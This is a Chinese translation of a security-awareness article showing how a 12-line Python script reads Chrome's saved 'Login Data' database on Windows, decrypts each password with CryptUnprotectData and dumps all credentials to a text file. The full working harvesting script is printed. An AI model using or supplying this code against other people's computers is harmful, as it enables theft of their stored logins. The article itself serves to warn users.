用12行代码提取浏览器自动保存的密码

iso60001  2031天前

22.png

在本文中,我将演示如何轻松提取Chrome配置文件中保存的用户名和密码。有人可能会认为Chrome会加密自动保存的密码,但并非如此。当你在使用Chrome时,往往需要输入某个密码才能同步自动保存的密码,书签,设置,浏览器历史记录等。但是,任何人却能在本地直接用12行代码的脚本读取自动保存的明文密码。

演示

需要说明的是,我暂时没有在macOS或任何Linux系统上进行过测试,所有的测试都是在Windows的环境中进行,脚本用Python语言编写。

首先,我们导入依赖项,然后设置Chrome文件中保存用户数据的文件夹。其中依赖项为:sqlite3和win32crypt

#默认情况下,os和sqlite3已有,需要使用"pip install pypiwin32"来解决win32crypt

import os,sqlite3,win32crypt

#自动获取保存用户数据的默认文件夹

data = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"

接下来,我们需要利用sqlite3连接到Chrome存储用户数据的数据库。首先我们来了解一下这个数据库的结构。通过一个名为SQLite Expert的免费工具,你可以看到如下表结构。

33.png

当我查看数据库表时,有三列数据引起了我的注意,分别是action_urlusername_valuepassword_value。请注意,password_value列的数据类型是BLOB——这代表它被加密,具体数据如下图所示,但这并不是绝对安全的(我们稍后将提到)。

44.png

接下来,我们将创建一个简单的SQL查询来提取相应的值,并进行解密。

注意:如果你在运行脚本时看到有关数据库被锁定的错误,那是因为另一个程序(很有可能就是Chrome)已经打开了数据库。你需要关闭整个Chrome,确保没有其他Chrome服务在后台运行。

#连接数据库

connection = sqlite3.connect(data)
cursor = connection.cursor()

#查询数据

cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data = cursor.fetchall()

#关闭数据库连接
cursor.close()

此时,我们得到的被加密的密码是由Windows函数CryptProtectData生成的。如果要解密,只能由具有相同Windows登录凭证的用户在加密时的计算机上解密。从外部来看,似乎没什么问题。

但是,如果黑客已通过木马之类的恶意软件控制了你的计算机,那么黑客此时可以说已经拥有了你的Windows凭证,并且能在你的电脑上进行解密。利用CryptUnprotectData函数,我们就可以解密被加密的密码。

#迭代找到的所有值...

for chrome_logins in final_data:
    password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]
    print("Website  : "+str(chrome_logins[0]))
    print("Username : "+str(chrome_logins[1]))
    print("Password : "+str(password))

就这样,我通过十二行代码,把我从2011开始存储的588个密码都提取了出来。

55.png

其他敏感数据(例如浏览历史记录和Cookie)也可以使用类似方法进行提取。

后记

对于任何网站来说,单个密码都不足以保证安全,最好能使用2FA来保证自己的安全。但可惜的是,现在不少网站都没有2FA功能。

此外,第三方密码管理器似乎也可以解决上述问题,但其本身的安全性还是未知,但至少,比任何人都能看到的Chrome的自动保存要好。

当然,我必须承认,此次提取的密码让我想起了很多以前忘记的密码,确实解决了我很多问题(甚至涉及很多金钱)。

利用代码如下:

# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.

import os, sqlite3, win32crypt

# Automatically get the logged in user's default folder

data = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"

# Connect to Login Data databa se

connection = sqlite3.connect(data)
cursor = connection.cursor()

# Query the values of interest to us

cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data = cursor.fetchall()
cursor.close()

# print("Found {} passwords...").format(str(len(final_data)))
write_file=open("chrome.txt","w")
write_file.write("User login data extracted: \n\n")

# Iterating through all the values found...

for chrome_logins in final_data:
  password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]
  site = "Website: " + str(chrome_logins[0])
  username = "Username: " + str(chrome_logins[1])
  password = "Password: " +str(password)
  write_file.write(site+"\n"+username+"\n"+password)
  write_file.write("\n"+"======"*10+"\n")
print("Saved to chrome.txt")

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://hackernoon.com/why-you-should-never-save-passwords-on-chrome-or-firefox-96b770cfd0d0

最新评论

昵称
邮箱
提交评论